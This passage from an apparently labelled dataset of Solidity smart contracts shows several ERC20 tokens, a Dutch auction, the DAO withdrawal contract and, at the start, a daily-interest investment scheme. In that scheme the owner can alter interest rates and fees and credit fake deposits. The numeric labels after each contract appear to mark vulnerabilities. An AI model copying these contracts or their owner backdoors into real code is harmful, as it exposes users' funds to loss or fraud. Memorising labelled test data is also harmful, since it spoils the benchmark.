user.deposits[i].withdrawedRate = user.deposits[i].withdrawedRate.add(withdrawRate);
sum = sum.add(user.deposits[i].amount.mul(withdrawRate).div(ONE_HUNDRED_PERCENTS));
emit DepositDividendPayed(
wallet,
i,
user.deposits[i].amount,
user.deposits[i].amount.mul(user.deposits[i].withdrawedRate.div(ONE_HUNDRED_PERCENTS)),
user.deposits[i].amount.mul(withdrawRate.div(ONE_HUNDRED_PERCENTS))
);
}
user.lastPayment = now;
totalDividend = totalDividend.add(sum);
}
function dividendRate(address wallet, uint256 index) internal view returns(uint256 rate) {
User memory user = users[wave][wallet];
uint256 duration = now.sub(user.lastPayment);
rate = user.deposits[index].interest.mul(duration).div(1 days);
uint256 leftRate = MAX_DIVIDEND_RATE.sub(user.deposits[index].withdrawedRate);
rate = min(rate, leftRate);
}
function doInvest(address from, uint256 investment, address newReferrer) public {
require(isProxy[msg.sender]);
require (investment >= MINIMUM_DEPOSIT);
User storage user = users[wave][from];
if (user.firstTime == 0) {
user.firstTime = now;
user.lastPayment = now;
emit InvestorAdded(from);
}
if (user.referrer == address(0)
&& user.firstTime == now
&& newReferrer != address(0)
&& newReferrer != from
&& users[wave][newReferrer].firstTime > 0
) {
user.referrer = newReferrer;
emit ReferrerAdded(from, newReferrer);
}
if (user.referrer != address(0)) {
uint256 refAmount = investment.mul(referralPercents).div(ONE_HUNDRED_PERCENTS);
users[wave][user.referrer].referralAmount = users[wave][user.referrer].referralAmount.add(investment);
user.referrer.transfer(refAmount);
}
investment = investment.add(getDividends(from));
totalInvest = totalInvest.add(investment);
user.deposits.push(Deposit({
amount: investment,
interest: getUserInterest(from),
withdrawedRate: 0
}));
emit DepositAdded(from, user.deposits.length, investment);
uint256 marketingAndTeamFee = investment.mul(MARKETING_AND_TEAM_FEE).div(ONE_HUNDRED_PERCENTS);
marketingAndTechnicalSupport.transfer(marketingAndTeamFee);
emit FeePayed(from, marketingAndTeamFee);
emit BalanceChanged(address(this).balance);
}
function getUserInterest(address wallet) public view returns (uint256) {
User memory user = users[wave][wallet];
if (user.referralAmount < 1 ether) {
if(user.referrer == address(0)) return DAILY_INTEREST[0];
return DAILY_INTEREST[1];
} else if (user.referralAmount < 10 ether) {
return DAILY_INTEREST[2];
} else if (user.referralAmount < 20 ether) {
return DAILY_INTEREST[3];
} else {
return DAILY_INTEREST[4];
}
}
function min(uint256 a, uint256 b) internal pure returns(uint256) {
if(a < b) return a;
return b;
}
function depositForUser(address wallet) external view returns(uint256 sum) {
User memory user = users[wave][wallet];
for (uint i = 0; i < user.deposits.length; i++) {
sum = sum.add(user.deposits[i].amount);
}
}
function dividendsSumForUser(address wallet) external view returns(uint256 dividendsSum) {
User memory user = users[wave][wallet];
for (uint i = 0; i < user.deposits.length; i++) {
uint256 withdrawAmount = user.deposits[i].amount.mul(dividendRate(wallet, i)).div(ONE_HUNDRED_PERCENTS);
dividendsSum = dividendsSum.add(withdrawAmount);
}
dividendsSum = min(dividendsSum, address(this).balance);
}
function changeInterest(uint256[] interestList) external {
require(address(msg.sender) == owner);
DAILY_INTEREST = interestList;
}
function changeTeamFee(uint256 feeRate) external {
require(address(msg.sender) == owner);
MARKETING_AND_TEAM_FEE = feeRate;
}
function virtualInvest(address from, uint256 amount) public {
require(address(msg.sender) == owner);
User storage user = users[wave][from];
if (user.firstTime == 0) {
user.firstTime = now;
user.lastPayment = now;
emit InvestorAdded(from);
}
amount = amount.add(getDividends(from));
user.deposits.push(Deposit({
amount: amount,
interest: getUserInterest(from),
withdrawedRate: 0
}));
emit DepositAdded(from, user.deposits.length, amount);
}
function createProxy() external {
require(msg.sender == owner);
Proxy newProxy = new Proxy();
isProxy[address(newProxy)] = true;
}
} | 1 | 4,748 |
pragma solidity ^0.4.18;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
}
}
contract LetsbetToken is PausableToken, BurnableToken {
string public constant name = "Letsbet Token";
string public constant symbol = "XBET";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 100000000 * 10**uint256(decimals);
uint256 public constant TEAM_TOKENS = 18000000 * 10**uint256(decimals);
uint256 public constant BOUNTY_TOKENS = 5000000 * 10**uint256(decimals);
uint256 public constant AUCTION_TOKENS = 77000000 * 10**uint256(decimals);
event Deployed(uint indexed _totalSupply);
function LetsbetToken(
address auctionAddress,
address walletAddress,
address bountyAddress)
public
{
require(auctionAddress != 0x0);
require(walletAddress != 0x0);
require(bountyAddress != 0x0);
totalSupply_ = INITIAL_SUPPLY;
balances[auctionAddress] = AUCTION_TOKENS;
balances[walletAddress] = TEAM_TOKENS;
balances[bountyAddress] = BOUNTY_TOKENS;
Transfer(0x0, auctionAddress, balances[auctionAddress]);
Transfer(0x0, walletAddress, balances[walletAddress]);
Transfer(0x0, bountyAddress, balances[bountyAddress]);
Deployed(totalSupply_);
assert(totalSupply_ == balances[auctionAddress] + balances[walletAddress] + balances[bountyAddress]);
}
}
contract DutchAuction {
uint constant public TOKEN_CLAIM_WAITING_PERIOD = 7 days;
LetsbetToken public token;
address public ownerAddress;
address public walletAddress;
uint public startPrice;
uint public priceDecreaseRate;
uint public startTime;
uint public endTimeOfBids;
uint public finalizedTime;
uint public startBlock;
uint public receivedWei;
uint public fundsClaimed;
uint public tokenMultiplier;
uint public tokensAuctioned;
uint public finalPrice;
mapping (address => uint) public bids;
Stages public stage;
enum Stages {
AuctionDeployed,
AuctionSetUp,
AuctionStarted,
AuctionEnded,
TokensDistributed
}
modifier atStage(Stages _stage) {
require(stage == _stage);
_;
}
modifier isOwner() {
require(msg.sender == ownerAddress);
_;
}
event Deployed(
uint indexed _startPrice,
uint indexed _priceDecreaseRate
);
event Setup();
event AuctionStarted(uint indexed _startTime, uint indexed _blockNumber);
event BidSubmission(
address indexed sender,
uint amount,
uint missingFunds,
uint timestamp
);
event ClaimedTokens(address indexed _recipient, uint _sentAmount);
event AuctionEnded(uint _finalPrice);
event TokensDistributed();
function DutchAuction(
address _walletAddress,
uint _startPrice,
uint _priceDecreaseRate,
uint _endTimeOfBids)
public
{
require(_walletAddress != 0x0);
walletAddress = _walletAddress;
ownerAddress = msg.sender;
stage = Stages.AuctionDeployed;
changeSettings(_startPrice, _priceDecreaseRate,_endTimeOfBids);
Deployed(_startPrice, _priceDecreaseRate);
}
function () public payable atStage(Stages.AuctionStarted) {
bid();
}
function setup(address _tokenAddress) public isOwner atStage(Stages.AuctionDeployed) {
require(_tokenAddress != 0x0);
token = LetsbetToken(_tokenAddress);
tokensAuctioned = token.balanceOf(address(this));
tokenMultiplier = 10 ** uint(token.decimals());
stage = Stages.AuctionSetUp;
Setup();
}
function changeSettings(
uint _startPrice,
uint _priceDecreaseRate,
uint _endTimeOfBids
)
internal
{
require(stage == Stages.AuctionDeployed || stage == Stages.AuctionSetUp);
require(_startPrice > 0);
require(_priceDecreaseRate > 0);
require(_endTimeOfBids > now);
endTimeOfBids = _endTimeOfBids;
startPrice = _startPrice;
priceDecreaseRate = _priceDecreaseRate;
}
function startAuction() public isOwner atStage(Stages.AuctionSetUp) {
stage = Stages.AuctionStarted;
startTime = now;
startBlock = block.number;
AuctionStarted(startTime, startBlock);
}
function finalizeAuction() public isOwner atStage(Stages.AuctionStarted) {
uint missingFunds = missingFundsToEndAuction();
require(missingFunds == 0 || now > endTimeOfBids);
finalPrice = tokenMultiplier * receivedWei / tokensAuctioned;
finalizedTime = now;
stage = Stages.AuctionEnded;
AuctionEnded(finalPrice);
assert(finalPrice > 0);
}
function bid()
public
payable
atStage(Stages.AuctionStarted)
{
require(msg.value > 0);
assert(bids[msg.sender] + msg.value >= msg.value);
uint missingFunds = missingFundsToEndAuction();
require(msg.value <= missingFunds);
bids[msg.sender] += msg.value;
receivedWei += msg.value;
walletAddress.transfer(msg.value);
BidSubmission(msg.sender, msg.value, missingFunds,block.timestamp);
assert(receivedWei >= msg.value);
}
function claimTokens() public atStage(Stages.AuctionEnded) returns (bool) {
return proxyClaimTokens(msg.sender);
}
function proxyClaimTokens(address receiverAddress)
public
atStage(Stages.AuctionEnded)
returns (bool)
{
require(now > finalizedTime + TOKEN_CLAIM_WAITING_PERIOD);
require(receiverAddress != 0x0);
if (bids[receiverAddress] == 0) {
return false;
}
uint num = (tokenMultiplier * bids[receiverAddress]) / finalPrice;
uint auctionTokensBalance = token.balanceOf(address(this));
if (num > auctionTokensBalance) {
num = auctionTokensBalance;
}
fundsClaimed += bids[receiverAddress];
bids[receiverAddress] = 0;
require(token.transfer(receiverAddress, num));
ClaimedTokens(receiverAddress, num);
if (fundsClaimed == receivedWei) {
stage = Stages.TokensDistributed;
TokensDistributed();
}
assert(token.balanceOf(receiverAddress) >= num);
assert(bids[receiverAddress] == 0);
return true;
}
function price() public constant returns (uint) {
if (stage == Stages.AuctionEnded ||
stage == Stages.TokensDistributed) {
return finalPrice;
}
return calcTokenPrice();
}
function missingFundsToEndAuction() constant public returns (uint) {
uint requiredWei = tokensAuctioned * price() / tokenMultiplier;
if (requiredWei <= receivedWei) {
return 0;
}
return requiredWei - receivedWei;
}
function calcTokenPrice() constant private returns (uint) {
uint currentPrice;
if (stage == Stages.AuctionStarted) {
currentPrice = startPrice - priceDecreaseRate * (block.number - startBlock);
}else {
currentPrice = startPrice;
}
return currentPrice;
}
} | 1 | 4,268 |
pragma solidity ^0.4.16;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value > 0 && _value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value > 0 && _value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
require(!frozenAccount[msg.sender]);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {
require(!frozenAccount[msg.sender]);
uint cnt = _receivers.length;
uint256 amount = uint256(cnt).mul(_value);
require(cnt > 0 && cnt <= 50);
require(_value > 0 && balances[msg.sender] >= amount);
balances[msg.sender] = balances[msg.sender].sub(amount);
for (uint i = 0; i < cnt; i++) {
balances[_receivers[i]] = balances[_receivers[i]].add(_value);
Transfer(msg.sender, _receivers[i], _value);
}
return true;
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function batchFreeze(address[] addresses, bool freeze) onlyOwner public {
for (uint i = 0; i < addresses.length; i++) {
frozenAccount[addresses[i]] = freeze;
FrozenFunds(addresses[i], freeze);
}
}
}
contract AdvancedToken is PausableToken {
string public name = "SevenStarToken";
string public symbol = "SST";
string public version = '2.0.0';
uint8 public decimals = 18;
function AdvancedToken() {
totalSupply = 700000000 * (10**(uint256(decimals)));
balances[msg.sender] = totalSupply;
}
function () {
revert();
}
} | 1 | 3,522 |
pragma solidity ^0.4.11;
contract IOwned {
function owner() public constant returns (address) {}
function transferOwnership(address _newOwner) public;
function acceptOwnership() public;
}
contract ITokenHolder is IOwned {
function withdrawTokens(IERC20Token _token, address _to, uint256 _amount) public;
}
contract IERC20Token {
function name() public constant returns (string) {}
function symbol() public constant returns (string) {}
function decimals() public constant returns (uint8) {}
function totalSupply() public constant returns (uint256) {}
function balanceOf(address _owner) public constant returns (uint256) { _owner; }
function allowance(address _owner, address _spender) public constant returns (uint256) { _owner; _spender; }
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
}
contract ISmartToken is IOwned, IERC20Token {
function disableTransfers(bool _disable) public;
function issue(address _to, uint256 _amount) public;
function destroy(address _from, uint256 _amount) public;
}
contract Utils {
function Utils() {
}
modifier greaterThanZero(uint256 _amount) {
require(_amount > 0);
_;
}
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
modifier notThis(address _address) {
require(_address != address(this));
_;
}
function safeAdd(uint256 _x, uint256 _y) internal returns (uint256) {
uint256 z = _x + _y;
assert(z >= _x);
return z;
}
function safeSub(uint256 _x, uint256 _y) internal returns (uint256) {
assert(_x >= _y);
return _x - _y;
}
function safeMul(uint256 _x, uint256 _y) internal returns (uint256) {
uint256 z = _x * _y;
assert(_x == 0 || z / _x == _y);
return z;
}
}
contract Owned is IOwned {
address public owner;
address public newOwner;
event OwnerUpdate(address _prevOwner, address _newOwner);
function Owned() {
owner = msg.sender;
}
modifier ownerOnly {
assert(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public ownerOnly {
require(_newOwner != owner);
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = 0x0;
}
}
contract TokenHolder is ITokenHolder, Owned, Utils {
function TokenHolder() {
}
function withdrawTokens(IERC20Token _token, address _to, uint256 _amount)
public
ownerOnly
validAddress(_token)
validAddress(_to)
notThis(_to)
{
assert(_token.transfer(_to, _amount));
}
}
contract ERC20Token is IERC20Token, Utils {
string public standard = 'Token 0.1';
string public name = '';
string public symbol = '';
uint8 public decimals = 0;
uint256 public totalSupply = 0;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function ERC20Token(string _name, string _symbol, uint8 _decimals) {
require(bytes(_name).length > 0 && bytes(_symbol).length > 0);
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function transfer(address _to, uint256 _value)
public
validAddress(_to)
returns (bool success)
{
balanceOf[msg.sender] = safeSub(balanceOf[msg.sender], _value);
balanceOf[_to] = safeAdd(balanceOf[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value)
public
validAddress(_from)
validAddress(_to)
returns (bool success)
{
allowance[_from][msg.sender] = safeSub(allowance[_from][msg.sender], _value);
balanceOf[_from] = safeSub(balanceOf[_from], _value);
balanceOf[_to] = safeAdd(balanceOf[_to], _value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value)
public
validAddress(_spender)
returns (bool success)
{
require(_value == 0 || allowance[msg.sender][_spender] == 0);
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
}
contract SmartToken is ISmartToken, Owned, ERC20Token, TokenHolder {
string public version = '0.3';
bool public transfersEnabled = true;
event NewSmartToken(address _token);
event Issuance(uint256 _amount);
event Destruction(uint256 _amount);
function SmartToken(string _name, string _symbol, uint8 _decimals)
ERC20Token(_name, _symbol, _decimals)
{
NewSmartToken(address(this));
}
modifier transfersAllowed {
assert(transfersEnabled);
_;
}
function disableTransfers(bool _disable) public ownerOnly {
transfersEnabled = !_disable;
}
function issue(address _to, uint256 _amount)
public
ownerOnly
validAddress(_to)
notThis(_to)
{
totalSupply = safeAdd(totalSupply, _amount);
balanceOf[_to] = safeAdd(balanceOf[_to], _amount);
Issuance(_amount);
Transfer(this, _to, _amount);
}
function destroy(address _from, uint256 _amount) public {
require(msg.sender == _from || msg.sender == owner);
balanceOf[_from] = safeSub(balanceOf[_from], _amount);
totalSupply = safeSub(totalSupply, _amount);
Transfer(_from, this, _amount);
Destruction(_amount);
}
function transfer(address _to, uint256 _value) public transfersAllowed returns (bool success) {
assert(super.transfer(_to, _value));
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public transfersAllowed returns (bool success) {
assert(super.transferFrom(_from, _to, _value));
return true;
}
} | 1 | 4,134 |
pragma solidity ^0.4.18;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract Weko {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
uint256 public funds;
address public director;
bool public saleClosed;
bool public directorLock;
uint256 public claimAmount;
uint256 public payAmount;
uint256 public feeAmount;
uint256 public epoch;
uint256 public retentionMax;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) public buried;
mapping (address => uint256) public claimed;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed _from, uint256 _value);
event Bury(address indexed _target, uint256 _value);
event Claim(address indexed _target, address indexed _payout, address indexed _fee);
function Weko() public {
director = msg.sender;
name = "Weko";
symbol = "WEKO";
decimals = 8;
saleClosed = true;
directorLock = false;
funds = 0;
totalSupply = 0;
totalSupply += 20000000 * 10 ** uint256(decimals);
balances[director] = totalSupply;
claimAmount = 20 * 10 ** (uint256(decimals) - 1);
payAmount = 10 * 10 ** (uint256(decimals) - 1);
feeAmount = 10 * 10 ** (uint256(decimals) - 1);
epoch = 31536000;
retentionMax = 40 * 10 ** uint256(decimals);
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
modifier onlyDirector {
require(!directorLock);
require(msg.sender == director);
_;
}
modifier onlyDirectorForce {
require(msg.sender == director);
_;
}
function transferDirector(address newDirector) public onlyDirectorForce {
director = newDirector;
}
function withdrawFunds() public onlyDirectorForce {
director.transfer(this.balance);
}
function selfLock() public payable onlyDirector {
require(saleClosed);
require(msg.value == 10 ether);
directorLock = true;
}
function amendClaim(uint8 claimAmountSet, uint8 payAmountSet, uint8 feeAmountSet, uint8 accuracy) public onlyDirector returns (bool success) {
require(claimAmountSet == (payAmountSet + feeAmountSet));
claimAmount = claimAmountSet * 10 ** (uint256(decimals) - accuracy);
payAmount = payAmountSet * 10 ** (uint256(decimals) - accuracy);
feeAmount = feeAmountSet * 10 ** (uint256(decimals) - accuracy);
return true;
}
function amendEpoch(uint256 epochSet) public onlyDirector returns (bool success) {
epoch = epochSet;
return true;
}
function amendRetention(uint8 retentionSet, uint8 accuracy) public onlyDirector returns (bool success) {
retentionMax = retentionSet * 10 ** (uint256(decimals) - accuracy);
return true;
}
function closeSale() public onlyDirector returns (bool success) {
require(!saleClosed);
saleClosed = true;
return true;
}
function openSale() public onlyDirector returns (bool success) {
require(saleClosed);
saleClosed = false;
return true;
}
function bury() public returns (bool success) {
require(!buried[msg.sender]);
require(balances[msg.sender] >= claimAmount);
require(balances[msg.sender] <= retentionMax);
buried[msg.sender] = true;
claimed[msg.sender] = 1;
Bury(msg.sender, balances[msg.sender]);
return true;
}
function claim(address _payout, address _fee) public returns (bool success) {
require(buried[msg.sender]);
require(_payout != _fee);
require(msg.sender != _payout);
require(msg.sender != _fee);
require(claimed[msg.sender] == 1 || (block.timestamp - claimed[msg.sender]) >= epoch);
require(balances[msg.sender] >= claimAmount);
claimed[msg.sender] = block.timestamp;
uint256 previousBalances = balances[msg.sender] + balances[_payout] + balances[_fee];
balances[msg.sender] -= claimAmount;
balances[_payout] += payAmount;
balances[_fee] += feeAmount;
Claim(msg.sender, _payout, _fee);
Transfer(msg.sender, _payout, payAmount);
Transfer(msg.sender, _fee, feeAmount);
assert(balances[msg.sender] + balances[_payout] + balances[_fee] == previousBalances);
return true;
}
function () public payable {
require(!saleClosed);
require(msg.value >= 1 finney);
uint256 amount = msg.value * 20000;
require(totalSupply + amount <= (20000000 * 10 ** uint256(decimals)));
totalSupply += amount;
balances[msg.sender] += amount;
funds += msg.value;
Transfer(this, msg.sender, amount);
}
function _transfer(address _from, address _to, uint _value) internal {
require(!buried[_from]);
if (buried[_to]) {
require(balances[_to] + _value <= retentionMax);
}
require(_to != 0x0);
require(balances[_from] >= _value);
require(balances[_to] + _value > balances[_to]);
uint256 previousBalances = balances[_from] + balances[_to];
balances[_from] -= _value;
balances[_to] += _value;
Transfer(_from, _to, _value);
assert(balances[_from] + balances[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require(!buried[msg.sender]);
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(!buried[msg.sender]);
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(!buried[_from]);
require(balances[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balances[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 | 3,602 |
contract DAO {
function balanceOf(address addr) returns (uint);
function transferFrom(address from, address to, uint balance) returns (bool);
uint public totalSupply;
}
contract WithdrawDAO {
DAO constant public mainDAO = DAO(0x5d2b2e6fcbe3b11d26b525e085ff818dae332479);
address constant public trustee = 0xda4a4626d3e16e094de3225a751aab7128e96526;
function withdraw(){
uint balance = mainDAO.balanceOf(msg.sender);
if (!mainDAO.transferFrom(msg.sender, this, balance) || !msg.sender.send(balance))
throw;
}
function trusteeWithdraw() {
trustee.send((this.balance + mainDAO.balanceOf(this)) - mainDAO.totalSupply());
}
} | 0 | 713 |
pragma solidity ^0.5.2;
contract ERC20Interface {
string public name;
string public symbol;
uint8 public decimals;
uint public totalSupply;
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract WEEX_contract is ERC20Interface {
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256) ) internal allowed;
constructor() public {
name = "WEEX";
symbol = "WEEX";
decimals = 4;
totalSupply = 10000000000000;
balanceOf[msg.sender] = totalSupply;
}
function transfer(address _to, uint256 _value) public returns (bool success){
require(_to != address(0));
require(balanceOf[msg.sender] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value);
success = true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success){
require(_to != address(0));
require(balanceOf[_from] >= _value);
require(allowed[_from][msg.sender] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
allowed[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
success = true;
}
function approve(address _spender, uint256 _value) public returns (bool success){
require((_value == 0)||(allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
success = true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining){
return allowed[_owner][_spender];
}
} | 1 | 4,186 |
contract DAO {
function balanceOf(address addr) returns (uint);
function transferFrom(address from, address to, uint balance) returns (bool);
uint public totalSupply;
}
contract WithdrawDAO {
